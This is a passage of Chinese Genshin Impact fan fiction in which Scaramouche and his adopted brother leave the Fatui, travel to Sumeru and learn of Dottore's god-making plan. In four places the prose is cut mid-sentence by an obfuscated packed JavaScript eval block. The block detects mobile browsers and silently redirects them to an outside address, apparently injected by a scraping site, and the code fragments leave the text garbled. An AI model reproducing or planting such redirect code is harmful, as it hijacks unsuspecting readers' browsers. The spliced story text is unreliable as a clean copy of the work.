至于须弥和世界树的联系,修改命运这些事不能偏听博士的一面之词,这也有可能是他拉拢人心的噱头,暂且不考虑。 散兵沉思片刻,看向月见里清也问道:“你认为呢?” 月见里清也知道散兵在纠结什么,在证件上点了两下,“我要是你的话,那就去。” “以你对博士的看法,这个结果确实让人有些意外了,”散兵挑眉问,“为什么?” “我对他的偏见是我个人的私事,公私分明,这点我还是分得清的。”月见里清也解释着,“博士与教令院的学者因造神达成合作,所以肯定会以完成计划为第一要务。” “虽然不知须弥那位神明是怎么回事,但仔细想想也知道,她肯定不会将自己的神之心拱手让人。”月见里清也说,“那么,哥哥。现在想来,造神计划的进程可能并不是那么乐观。” 散兵明白他的意思了,饶有兴趣地说:“计划不可能停止,但多托雷手里没有神之心。” 神之心不是神明的必须物,可在世人眼中,神之心就是神明的象征。 神怎么可能会没有神之心呢? 这也是博士目前面临的难题了,倘若女士成功带回了雷神之心,这也就罢了,向女皇请示借用一枚神之心即可。可偏偏雷神之心让散兵半道截胡,在一枚神之心遗落在外尚未收回的情况下,女皇还会将其他的神之心交给博士吗? 女皇怎么想的散兵不清楚,但他知道博士没有表面看上去云淡风轻。 月见里清也摊了一下手,笑着说:“既如此,留给我们的可操作性就很高了。” 他们带着神之心参加合作,让造神计划能够顺利进行下去。等到计划完成的那一天,以那时他们的实力来说,未尝不可与排名第二的博士一战。 散兵说:“你的意思是,不如我们主动出击,获得主动权。” “嗯哼,没错。”月见里清也打了个响指,“关于须弥的事我们知道的不多,但好在这一计划刚开始不久,我们越早加入,越能早些掌握相关情报。至于教令院那边,他们若是安分守己,也就罢了,如若不然,那也别怪我们卸磨杀驴了。” 教令院的最终目的是造神,但博士的目的从头到尾只有神之心而已。何况博士曾经还是被教令院驱逐出去的学者,教令院的学者对他的态度褒贬不一,二者的合作看似牢不可催,实则不然。 除此之外,月见里清也不信草之神完全不知道教令院的打算,她肯定会在暗中做些什么,只是神明的一举一动凡人无法察觉到罢了。既然有支持创造新神明的学者,那自然也会有拥护草之神的子民。 照这样发展下去,须弥的政局早晚会像稻妻一般,变成两个政局之间彼此博弈。 去须弥参与合作已经成必然之事,眼下最优解就是要抢在局势变得更加混乱之前,先一步立住自己的脚跟,才能随机应变应对后续之事。 “不过你要决定不去须弥,我也有不少理由,”月见里清也眉眼一弯,“要听听看吗?” 一听他这不着调的语气,散兵有些无奈,“你正经点。” “活跃一下气氛嘛。”月见里清也笑着起身,像是突然察觉到了什么,笑容一僵,皱着眉看向门外。 “怎么?”散兵问道。 “不,没事。”月见里清也摇了摇头,仍皱着眉。 方才察觉到门外有种很熟悉的感觉,很快就消失了,仿佛是他的错觉一般。要是平常记不起来也就罢了,只是他总觉得这种熟悉感在最近也出现过,就在今日内。 回想起今天干过的事,月见里清也一愣,他今日没见别人,唯一见过的外人就是博士,他在博士的身上感觉到了一股很微弱的能量,那股熟悉感正是由此而来。 只是当时月见里清也顾着听博士的长篇大论,反倒忽略了这件事。 他将房门推开,意料之中的走廊上空无一人。月见里清也将房门重新关好,转头正好与散兵四目相对。 迎着散兵探究的目光,月见里清也若无其事道:“真没事,可能是我接下来要说些不好的话,怕被人听墙角吧。” 不给散兵回话的时间,月见里清也接着问:“哥哥,当初导致我昏迷的那次任务里,跟我们一起执行任务的是博士本人还是他的切片?” “怎么可能是他本人。”散兵说。 “是今天见到的这个切片?” “这个疯子把自己切成多少片恐怕只有他自己才清楚吧。”散兵没忍住刻薄了一句,疑惑地看向月见里清也,“你问这个干什么?” “眼熟,可能见过。” ……什么叫胡说八道,这就是。 关于那场意外月见里清也什么都不记得,竟然还会想起博士的切片长什么样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065480|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七神在上,真是医学奇迹。 “想要糊弄我的话,麻烦你先走走脑子。”散兵端起茶杯喝了口,冷飕飕地说。 月见里清也清了清嗓子,“不知道为什么,我平日里也见过博士的其他切片,没有什么异样。这一次他身上好像有种微弱的能量,我感觉有点熟悉,但不知道是什么。” 散兵神色一凌,想起了自己曾经寻找多次未果的东西,月见里清也的核心碎片。 此话一出,不光散兵想到了,走廊里靠着门板偷听二人讲话的少年也想到了。 少年穿着斗篷,巨大的兜帽遮挡住了面部,这有些奇怪的打扮没有引起来往路人的侧目,仿佛看不见他一般。而少年也仗着旁人看不到他,光明正大的在这偷听。 要是月见里清也能看见他,就能认出来他就是自己获得神之眼那日出现的神秘少年。但他不准备在众人面前现身,紧了紧兜帽,准备离开。 璃月有不少建筑是户外楼梯,也算一种风格特色,少年刚刚离开室内,就有一阵清风吹来,不偏不倚吹掉了兜帽,露出一头绀色长发,也不知少年曾受了什么伤,半张脸和脖子用绷带缠着,只剩下右半张脸露在外面。 少年一愣,慌忙间想把兜帽重新戴好,余光一撇,见周围植物、周围行人的发丝都没丝毫异样,就知道这阵风是冲着自己来的。 四下打量片刻,果不其然在某个不起眼的位置上找到了“始作俑者”。 少年放下想重新戴好兜帽的手,就这么不紧不慢地走到那位蒙德打扮的吟游诗人面前。 “比起璃月的茶,我还是更喜欢蒙德的苹果酒,但那位老爷子更喜欢喝茶。”吟游诗人说,“要来一杯吗?” 少年仰起一抹笑,接过了那一盏茶,“风神特地相邀,我却之不恭。” 二人说话声音都不大,只有彼此能听清楚。本就是旧相识,温迪不在乎身份挑明笑着说:“你好像并不意外我会来见你。” “总不能每次都给我觐见时……咳,‘千风之神’的机会吧,”少年磕绊了一下,及时的将脱口而出的词汇咽了回去,换了个说法,“感谢你们还记得我是个不存在于世间的人,只能依靠‘碎片’来维持人形。” “但你也知道,这点手段不能维持太久吧?”温迪问道。 少年点点头,回道:“不出意外的话,应该足够坚持到不需要我的时候。” “你看到了,这次与之前的不同,故事已经步入正轨了。”少年自顾自说着,“到时候就该是你接手的时候了。” “哎呀,看起来我在你故事里是一个责任重大的角色呢,”温迪笑盈盈地说,“这似乎与世人眼中的风神影响有些不符。” “你是说‘你把冰之女皇的权杖换成丘丘人的木棍’这种光荣事迹?不都是你自己编的吗。”少年本来是想揶揄他几句,却不想笑着一口气没喘匀,偏头咳了半天。 好不容易止住后,又没了那份笑意,只是盯着自己面前的杯子,那双缠满绷带的手从杯中穿过去时,他愣了片刻才说:“总之,故事已经发生了偏转,应该也算取得了阶段性成果,诸位也该相信我的诚意才是。” 47.向着雨林与智慧之国 这场秘密集会没引起任何人的注意,没人知道到他们是何时离开的,也没人知道他们讨论了什么,就像时光下的微粒,风一吹就消散在时间的长河里。等到月见里清也和散兵离开客栈时,那里早就人去楼空。 虽然二人已经决定好了要前往须弥,不过他们并不着急。 璃月与须弥接壤,从璃月港到奥摩斯港也只有几天的航程,航行不一定是最快的,但他们不会为了缩短一天的路程就给自己找罪受,东一脚土西一脚泥地走那些需要翻山越岭的小路。 甚至在得知自己是计划必不可缺的一部分后,走得更加气定神闲,倒像是一个去旅行的游客。 当然,这事只有某位姓月见里的大尾巴狼才做得出来。 一路上都暗中观察着二人的第二席士兵默默在心里吐槽着。 他也就走神了一小会,一回神发现本该在前方排队下船的二人转眼就不知所踪,四下看去也找不到二人的身影。 怪事,俩大活人还能平白无故消失了不成。 后面排队的人还等着,小士兵不好耽搁,跟随人流下船,看着这人来人往的港口,一时间有些犯难。 事已至此,士兵找了个椅子坐下,思考接下来该怎么办。 或许是苍天看到了他的愁苦,离开码头后没过一会,小士兵感觉到了自己的左侧肩膀被人拍了拍,一个含着笑意的声音从身后传来,“在找人?” 士兵下意识地想去掏口袋,放在肩膀处的手瞬间重了几分,将他重新压回长凳上,月见里清也似笑非笑地说:“别动,你猜是你反抗的快,还是我先拧断你脖子。” 士兵明智的停下手中动作,声音有些紧绷,“大人想做什么?” “别紧张啊,这是在大街上,我能对你做什么?”月见里清也说,“看在同行一路的‘缘分’上,聊聊?” 我能拒绝吗? 士兵嘴皮子动了动,来了句,“要不您给我打晕吧。” 拒绝是不可能拒绝的,月见里清也压根没给他这个选项,“不行呢。” 士兵:“……” 看着士兵这硬着头皮的模样,月见里清也总觉得有些眼熟,他装作不经意地开口道:“北国银行那天也有两个人跟踪散兵大人,你知道吗?” 这种事情虽然不是更重要,但毕竟牵扯了两位执行官,收集情报的时候自然会收录上,士兵不明所以地点点头。 月见里清也憋着笑说:“你知道你现在这样和他们一模一样吗?” “……”士兵敢怒不敢言。 “说来也是奇怪,从璃月到须弥,走了一个第九席来了一个第二席,这么紧盯着不放,”月见里清也垂眸看着他,“你们有什么打算?” 士兵挤出一抹笑说:“我这种底层士兵只是奉命行事罢了,怎么会知道大人们的打算。” “别装,我认识你。”月见里清也一点也不信,摇摇头说,“你既然不想说,那我就换个问法。博士邀请第六席参加须弥的造神计划,是不是女皇默许的?” 他没说“夺取草神之心计划”反而是说“造神计划”,虽然造神计划的最终目的是夺取神之心,这两种说法看似大差不差,但仔细一想,这两种说法可是千差万别。 士兵沉默两三秒,最后憋出来一句:“要不你还是把我打晕吧。” “出息。”这反应成功逗乐了月见里清也,也不想跟他继续耗时间,干脆利落的将人击晕过去。 虽然没有明着说,但士兵的反应已经给了月见里清也答案。 参加夺取草神之心计划,就代表他们还是愚人众执行官,可月见里清也知道,他们带着神之心叛逃的消息已经传回至冬,冰之女皇恐怕不会这么宽宏大量的允许他们以执行官的身份来到须弥。 那他们又是以怎样的身份来到须弥的,愚人众叛逃的执行官?可既然将他们定性为叛逃者,又为什么不下通缉令? 思来想去恐怕只有“造神计划的实验者”,博士的实验对象,又或者说,愚人众的实验对象。 士兵的欲言又止也说明了一件事,他们动向是秘密,是仅限于愚人众高层知道的消息。 在明知道排除眼线跟随会被他们发现的情况下,依旧选择排除人手跟随,是想监视他们的一举一动,还是想确认什么? 关于这点月见里清也就不清楚了,他没有下太重的手,过一会被打晕的士兵就能自己醒过来,但就这一会的时间,足够月见里清也和散兵在他们眼皮子底下玩失踪了。 既然暂时没头绪,那就只好在这场戏里隐身一会,临时消失一段时间也无伤大雅,毕竟他们已经踏入须弥的国界,参加实验之事已经是木已成舟。 在还是执行官的时候,碰到需要前往深渊的任务,来的地方就是须弥,但大多数时候都是去的人迹罕至的沙漠,常住人口较多的雨林反倒没怎么来。但即使不怎么来到雨林的月见里清也,也知道奥摩斯港到一路北上就能走到须弥城,一条大路通过去,甚至不需要借助地图。 月见里清也沿着路走,路过一颗大树时停下脚步,抬头看着碧绿的树叶间露出一点深色的衣角,没好气道:“不是说好了,我处理跟在后面的尾巴时你负责探路吗,怎么一转头你光明正大地跑树上躲懒去了?” 回应这句话的是从树上抛下来的一个日落果,月见里清也抬手接住,果子上挂着水珠,还是一个已经洗过的果子。 月见里清也挑眉,咬了一口日落果,说话时有些含糊,“一个果子就想把我打发了,我什么时候变得这么廉价了?” 说话间散兵从树上轻轻一跃,落地时悄无声息的,他扶稳斗笠,冲月见里清也一摊手,“不吃还我。” “想得美,”月见里清也轻哼一声,“你任劳任怨的月见里副官使用权已经到期了,建议您早日习惯现在这个弟弟身份的月见里清也。” 散兵闻言笑了一下,“伸手。” 月见里清也一头雾水,下意识照着他的话做。 下一秒手上被放了个爽脆可口的苹果,月见里清也低头看着这个苹果,不明所以,“干什么?” “续费。”散兵说的理所当然。 月见里清也:“……你就没有其他的表示?” “哦,”散兵还真想了想,补上一句,“挺甜的。” 月见里清也:…… 这是甜不甜的事吗?! 对他哥没有底线的月见里副官最终以一个日落果和一个苹果的高薪工资重新上岗,把手上的两个果子慢悠悠地啃完后才说:“现在基本能确定我们参加造神计划背后有女皇的授意,一开始我以为雷神之心才是他们真正的目的,现在看来有些本末倒置,背后的目的是你。” “陨石事件结束后,丑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070837|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角对我说过一句话,大意是你我都是计划里重要的一环。”散兵说,“至于他口中的‘计划’是什么,反正跟反抗天理没有半点关系。” “原来还有我的事呢。”月见里清也有些意外,“所以他们这么大费周章的,就是为了让你登神?要是这样的话就好了,咱们也不用冒着生命危险穿行雷暴,等着女士把神之心带回来给你就是了。” “如果他们能有这份好心,倒也剩去了我不少麻烦,至于后续之事,走着瞧吧。”散兵看向月见里清也,“另外,你确定这个消息可靠吗?” 月见里清也知道问的是港口的那个士兵,点了点头道:“我见过他,跟着博士出过任务,算不上亲信,但官职不低。” 散兵觉得这话有点怪,“你见过,在哪见的?” “实验室里,他好像是博士身边的助手吧……等等,不对。”月见里清也下意识脱口而出,接着反应过来了。 他跟博士唯一的交集就是陪同散兵去第二席的实验室,因为只是个无关人员,他甚至连实验室的大门都没进去,那自己又是从哪里见过这个人的呢? “第一次见他是在什么时候?”散兵问,“别着急,慢慢想。” 月见里清也眉心皱成一团,努力回想半天,发现相关记忆一片空白,什么都想不起来。 散兵见他摇头,心下一沉。 月见里清也记性不差,跟自己开玩笑的时候还能引经据典的扒拉出五百年前的某一件小事来调侃,能让他什么都不记得,这事只有恐怕发生在那场意外里了。 说来也巧,月见里清也只丢失了事发当天的记忆,而在深渊遗迹里执行任务的月见里清也,是怎么在实验室见到博士助手的? 在清剿贵族之后,曾经被卡斯珀打断的那个名字终于又重新浮出水面。 “清也,”散兵抓住月见里清也的手,神色严肃,“关于那场意外,可能会有别的隐情。” “巧了,我也是这么觉得。”月见里清也无声的说了个名字,反握住散兵的手,“只是暂时缺少实证,我建议按兵不动,大局为重。” “当然这只是一时的委曲求全,如果查出来就是他干的,即使是你拦着我,我也不会放过他。”月见里清也说。 话音刚落,就听不远处的灌木丛中传来骚乱声,月见里清也长刀出鞘,紧盯着声音传来的方向,“谁在那?” 要是普通的路人就罢了,这要是被愚人众士兵路过听到了,就只能杀人灭口了。 四周寂静无声,无人应答。月见里清也和散兵对视一眼,一前一后快速向那片灌木靠拢。 还不等靠近灌木,又一声轻微的响动传来,散兵听到后眼疾手快地将月见里清也向反方向一推,下一秒一个身影猛地从灌木丛中飞出,砸在他们身后几米的地上。 “讲道理不听,非要逼我动手,真以为我好欺负啊!”不远处传来一位女生有些愤怒的声音。 隔绝视线的灌木丛已经被这位飞出来的仁兄带倒一大片,不远处站着的金发少女正在整理衣摆,她身后还站着几个女孩子,看着都是教令院学生的打扮。 少女见灌木后还藏着俩人,不耐烦道:“同伙?一起上吧,正好节约时间。” 但月见里清也看清楚那气势汹汹的身影是谁后,嘴角一抽,收刀归鞘,冲对方一拱手道:“不敢不敢,女侠好身手。” 48.三人组集齐 “哎???”原本还气势汹汹的女侠,看清楚俩人的样貌后瞬间哑火,“怎么是你们啊?!” “大概是缘分吧,”月见里清也摊了摊手,笑着说,“好久不见,斯黛拉。” 散兵也跟着打了招呼,指着躺在地上的男子问,“遇到麻烦了?” 一脚将不明男子踹飞的女孩不是别人,正是卡斯珀的妹妹斯黛拉,见到两人后明显一愣,像是有不少问题要问,但又顾虑着自己身边的同学,最终决定先回答散兵的问题,“嗯……路上打劫的,这货估计是在我们沙漠实地考察时就盯上我们了,跟了一路,马上就到须弥城了,再不动手估计就白干了。” “打劫你们几个学生做什么?”月见里清也有些搞不懂。 斯黛拉无奈道:“估计是看我们是明论派的学生,想把我们的占星仪器抢走拿去倒卖吧,毕竟都挺贵的。” “盗宝团通常不会单打独斗,附近可能会有他的同伙。”散兵的视线在那人脸上停留片刻说,“不想再被缠上的话,趁这个时间赶紧走。” 斯黛拉欲言又止:“可是……” “嘘。”月见里清也对她比了个噤声的手势,“你还有同学在这里,得优先保护你们的安全不是么?剩下的交给我们。” 斯黛拉看了看身旁的同学,缓缓一点头,带着同学离开此地。 收拾剩下的盗宝团对二人来说都不是什么难事,他们这边刚完事,正好又撞上了去而复返的斯黛拉。 这也在散兵和月见里清也的意料之中,斯黛拉的母亲在她四岁时就卧病在床,她算是卡斯珀这个哥哥一手带大的。偶尔卡斯珀工作忙不能兼顾她时,就会拜托月见里清也和散兵帮点小忙。 可能是受这三位在愚人众玩心眼的哥哥的影响,斯黛拉对他们话里的暗示十分敏感,很多事情一点就透。就比如刚才,知道斯黛拉有话要说,散兵率先转移话题,月见里清也随后有提醒她有同学在场,示意她这里并不是个适合说话的时机。 “你同学自己回去没事吗?”月见里清也问。 斯黛拉摇了摇头,“没关系,回去的路没多少了,况且还有个学姐有冰系神之眼,不用担心。比起担心我,难道你们两个不才是最需要担心的吗?” 这话说的莫名其妙,月见里清也和散兵愣了片刻,彼此对视一眼,都在对方眼中看见了迷茫。 “总之,先回家,有我哥在会讲得更清楚一些。”斯黛拉为了避免解释起来太过麻烦,决定带二人回家。 “卡斯珀?他来须弥是来执行任务的,还是来给你陪读的?”月见里清也闻言想起上次酒会上谈话,问道。 斯黛拉挑眉,一点没给他哥留面子,“怎么可能,他要是来陪读就好了,也省的每天累的回家倒头就睡,害得我每天都得去看看他,防止他自己把自己饿死。” 酒会上的闲谈月见里清也没和散兵提过,闻言有些不解,“在须弥执行任务,那不就是……” 月见里清也点点头,“就在上次酒会,卡斯珀就已经接到了去须弥执行任务的通知,但那时还什么都不确定,只劝了让他找条退路。” “是说现在院里最近忙活的那一件大事?这件事有什么风险吗?”斯黛拉皱眉问道。 月见里清也不知道该怎么说,这件事对他和散兵而言会有风险,就不知道会不会牵连到卡斯珀和斯黛拉。但瞒着斯黛拉也没有什么必要。这小姑娘从小聪明,早晚也会知道,散兵直接代替月见里清也回答道,“这件事暂时没有风险,不过我猜他的本意不是这个。” “那就没事了,”斯黛拉摆摆手,十分心大,“回归正题,那你们劝我哥离开愚人众的原因是什么?” “咳,这事说来话长,”月见里清也清了清嗓子,“简单来说,我们两个不久前刚刚脱离了愚人众。” “什么?!!”斯黛拉差点怀疑自己耳朵有问题,声音都喊劈了叉。 为了上课方便,斯黛拉平日下课后住在宿舍里,平日里很少回卡斯珀在这里给她置办的房子。直到卡斯珀又重返须弥执行任务,这间小屋子才重新有了人气,连带着斯黛拉这个户主回来的次数都多了。 没办法,她是真怕她哥在梦里把自己饿死。 这座房子在须弥城的外围,离教令院有些距离,距离商业街和大巴扎却非常近,卡斯珀当初想的是学累了可以直接放下书跑出去玩,至于斯黛拉能不能理解到他哥的小巧思这就不得而知了,但距离教令院远是她不常回来住的主要原因。 不知道是不是月见里清也那一番话对斯黛拉影响有些大,斯黛拉为了避开路上的愚人众,还特意带着两人换了条路回来。 她掏出钥匙开门,进门后先抬眼看了看衣架,见衣架上还挂着卡斯珀的制服就知道这趟没跑空,轻车熟路地走到卡斯珀的卧室门前拍门。 卧室传来一阵声响,好像是里面的人说了句话,月见里清也隔得远没听清,“他说啥?” 斯黛拉一脸黑线,“做完饭不用等他,他要睡觉。” “没给你做饭,赶紧起床!”斯黛拉又重了几分力气重新敲了两下,下了最后通牒:“卡斯珀,开门,再不开我撬锁了!” 几秒后,顶着一头乱糟糟头发的卡斯珀终于打开了房门,脸上带着倦容,眼睛困得都睁不开,无奈道:“斯黛拉,我才刚睡了一会,出了什么惊天动地的大事需要把我叫醒,除非实验数据出了问题不然别叫我……” 斯黛拉出声打断了他:你先看看谁来了再说话行不行?” 卡斯珀终于费劲巴力的睁开仿佛被胶水黏住的眼皮,原本还在犯迷糊的脑子在看到客厅的俩人后瞬间清醒,月见里清也还冲他一点头说:“中午好,造型不错。” “……”卡斯珀没说完的话几经辗转,千言万语最后浓缩成一句,“草。” “怎么还带骂人的呢,脾气这么大。”月见里清也挑眉。 “给我五分钟。”卡斯珀说完又将卧室门重新关上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077960|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 五分钟后,他勉强把自己收拾出了一个人样,跟着其他三人坐在客厅沙发上,听斯黛拉将郊外遇到二人的前因后果后复述了一遍。 听到散兵和月见里清也脱离愚人众的消息后,他不像斯黛拉一样有那么大的反应,一脸沉重的盯着面前的水杯,像是在缅怀什么。 几秒后,他仿佛才消化完这个消息,开口道:“前几天愚人众里有小道消息传出,说你们俩叛逃,有人还来问过我。我当时说,‘不可能,就凭散兵大人这些年来对愚人众的贡献,他绝对不会’。” 几天前他刚信誓旦旦说完,今天就惨遭正主打脸。 卡斯珀抬眼看向散兵,幽幽地说:“大人,我脸有点疼,你有什么头绪吗?” 散兵说:“……你为什么会觉得我会对愚人众忠心耿耿?难不成你最初加入愚人众是为了报效祖国?” “不啊,发的工资多,我要养家糊口。”卡斯珀回答的理所当然。 散兵靠在沙发靠背上,抱着手看他,“所以我离开愚人众也不是什么难以理解的事吧。” 好像有几分道理,说得卡斯珀都快信了,“但这是两回事吧,你不打算效忠女皇,为什么要兢兢业业的当着工作狂人啊?” 关于这个问题,月见里清也喝了口水,想了想说:“大概是单纯热爱工作吧。” 这就很惊悚了,卡斯珀不能理解。 月见里清也余光察觉到散兵的眼刀子扎了过来,连忙转移话题,“总之,咱们三个半斤八两,接下来说正事吧。” 既然知道了他们二人离开了愚人众,卡斯珀知道和传言八九不离十,他们来须弥总不可能是走投无路来投奔亲戚的。只是现在各个部门都已经分工完毕,只剩下一个空缺。 “这几天进度有些停滞,据教令院那边说,是因为某位关键人物还没来。”卡斯珀还是没忍住想确认一番,“他们要等的人是不是你们?” 见散兵点头默认,卡斯珀心中有些五味杂陈,说不上来什么滋味。 毕竟认识好多年的朋友在某一天说要登神,小说都不敢这么写。再者就是他们两个叛逃的人来参加博士的实验,凶多吉少啊。 但不管怎么说,散兵和月见里清也已经决定来了,卡斯珀突然庆幸自己还没离职,要不然就少一份一手情报了。 他揉了揉发涨的脑袋,歪头看到安静坐在一旁的斯黛拉,欲言又止,“今天不着急回校?” “要回。”斯黛拉知道他们要谈正事,对散兵和月见里清也简言意骇道,“我之前说,‘该担心的是你们’是因为,我曾经碰到过愚人众和明论派贤者谈话。” 她顿了顿,换了个说法,“说谈话也不太对,应该说争执,吵的挺激烈的,声音隔着墙都能听见。贤者那边的意思是他们不想让不知底细的人参与,但愚人众那边说,参与人是博士决定的,也是‘那位’的弟弟。” 月见里清也很难不往自己身上想,“多托雷推荐我,吃错药了?” 49.博士的新计划? 斯黛拉也知道他们要谈重要的事,说完这件事后没有多待,先离开家回了学校。 “丑角、博士,一个两个的都这么看中我,我还真是受宠若惊啊。”月见里清也半开玩笑说,“搞得我都要相信占星术士说的那些话了。” “什么占星术士?”散兵偏头看向他。 有关占星术士的事月见里清也当初只和散兵说了星空的事,没说关于自己的预言,他顿了顿说:“上次调查陨石,那个占星术士说的,无非是一些有关救世的预言,听起来像糊弄小孩的。” “那可说不定哦,你这话可不能让斯黛拉听见,还好她已经走了。”卡斯珀说,“言归正传,斯黛拉说的那些事确实有些不对劲。” 散兵问道:“怎么说?” “按照之前安排,清也应该会被安排到目前我负责的那个部门,进行战斗相关的数据测试”卡斯珀回答道,“但最近他们好像有对清也起了兴趣,就像斯黛拉说的那样,是由博士负责牵头的。” 为了避免事情越讲越乱,卡斯珀只好从头给散兵和月见里清也二人捋。 “我在须弥待的不算太久,多数事情是从我本地人或者那些学者嘴里打听出来。”卡斯珀说,“须弥的情况跟璃月有些类似,但并不相同。现任草神被人们称为‘小吉祥草王’居住在净善宫里,深居简出,从来没有在公众面前露过面,有关须弥的各项政策都是由教令院代为转达的。” 岩之神摩拉克斯虽然也将璃月交给璃月人自己发展,好歹退休前每年还会现身一次来指导下一年的发展规划。反观须弥,神明不曾现身过,一切都由教令院来出面发言,但谁又能知道这究竟是草之神的旨意还是教令院的自己的决定呢,比起小吉祥草王,教令院更像须弥的实际统治者。 “而且奇怪的是,教令院里很多学者并不信仰小吉祥草王,反而一直信仰初代草之神‘大慈树王’。”卡斯珀说着从口袋里拿出一个而耳机类似的装置,外表看起来像是一片树叶,“虚空终端里有关小吉祥草王的记载寥寥无几,有关大慈树王的却多到数不清,就好像须弥人一点也不在乎他们这位现任的草之神。除了有个花神诞祭这样的庆典节日,就再也没有这位神明存在的痕迹了。” 除了蒙德与璃月,其他国家的神明都不是初代神明,可也没有那个国家的情况像须弥这般,最起码至冬不是,大家信仰的至冬女皇就是现任冰之神,这也是让卡斯珀怀疑的地方。 “你是想说,”月见里清也斟酌了一下用词,“教令院软禁了这位草之神?” 卡斯珀迟疑了一下,“嗯……也不一定?谁知道智慧之神是怎么想的呢。” “不论草之神怎么想,须弥现在已经是教令院的一言堂了吧?”散兵扯出一抹笑说,“将自己的想法裹上一层精美的谎言,伪装成神明的意志,说不定他们所谓信仰初代草神也是一层自我欺骗的谎言。” 月见里清也意味不明的笑了一下说:“骗着骗着,连自己都信了。” 卡斯珀说:“怀念初代神明是不是真的我不知道,但他们对现任草神的不满倒是真事。博士从至冬带来的技术员不算特别多,多数还是以教令院学者为主,据他们所说要创造一个‘全知全能’的神。” 学者的野心一旦膨胀起来,和野心家相比也毫不逊色。 他们想要创造一个全知全能的神,并不在乎登上神座的究竟是谁。倘若散兵这位登上神座的神明不符合他们的心意,是不是又会创造出另一个神明来取而代之? 他们可能会,但月见里清也不允许这种事情发生。 “接下来有关工厂的事……清也?”卡斯珀察觉到月见里清也在走神,伸手在他眼前晃了晃。 月见里清也回神,“没事,你继续说。” “就像我之前说的,原本整个计划都是围绕着大人来的,起初学者们并不在意清也的存在,这点从直接把他分配到我手底下负责项目测试就能看得出来。”卡斯珀叹了口气,“大概在几天前吧,博士的切片带来了一样东西,从那之后,那帮学者就对清也的态度很微妙了。” 散兵和月见里清也异口同声道:“那东西长什么样?” 卡斯珀被他俩的反应吓了一跳,“不知道,在盒子里装着看不清。” 博士既然敢带来,肯定做好了防备,卡斯珀不知道也是常理,月见里清也意识到他们有些心急。 散兵借着桌子的遮挡,悄悄地在他手心里写下两个字:不急。 月见里清也面上不显,悄悄地将手指连带着散兵的手一起握住,轻轻晃了两下。 散兵想把手抽出来,用了点劲,没抽动。 “……” “假如斯黛拉说的是真的,恐怕教令院那边对你的意见很大。”卡斯珀说着,眼睁睁看着散兵抬脚向月见里清也踹过去,月见里清也一躲,顺势松开了俩人握着的手。 卡斯珀:????? 聊的好好的怎么还打起来了? 他敲了敲桌子,表情有点摊:“你们俩听见我说的话了吗?” “听见了,教令院对我这个门外汉有意见。”月见里清也简言意骇道。 卡斯珀老师闻言欣慰地一点头,决定不纠结他俩在自己讲话时搞的小动作。 他想了想,有补了句,“另外,博士还在须弥干了一件事,须弥有种病叫‘魔麟病’,成因不清楚,但多年前博士打着治疗这种疾病的名号,收集到了不少患者到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086990|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愚人众里来,来进行他的科学研究。”卡斯珀说,“总之,出去最好别说自己跟愚人众有关。” 这件事还是斯黛拉告诉他的,斯黛拉当初刚来上学不久,有一次在雨林里迷了路,还是一位见习巡林员将她带出去的。二人看彼此都觉得眼熟,后来一问才知道这位巡林员就是当初月见里清也顺手从第二席士兵手里救下的柯莱。 “她啊,你不提我都快忘了,有自己的生活是好事。”月见里清也仔细回想了一下,没说别的。 当初救她很大一部分原因是他看第二席不顺眼,单纯想找麻烦。月见里清也不会去特意关注,也不会在对方开始新生活后跑去打扰。 就像他很久没有联系过梅瑞狄斯一样,能放下过去是一件很不容易的事。 月见里清也笑了笑,将话题岔开,“没事,愚人众口碑在其他国家估计早就一落千丈了,习惯了。” 卡斯珀没忍住,“咱说话能不能不开地图炮。” 月见里清也“啊”了一声,“抱歉,我和我哥已经不在其列了,忘了你还在职。” 卡斯珀:……… 没看出月见里清也有愧疚的意思,全是离职后的喜悦。 真的好气人。 他起身从一旁的矮柜里翻出一沓文件,胡乱的塞到月见里清也怀里,冲他俩一摆手说:“都是些项目规划和技术相关的文件,快看看熟悉熟悉,我要睡觉去了!” 说完真就起身回到卧室补觉去了。 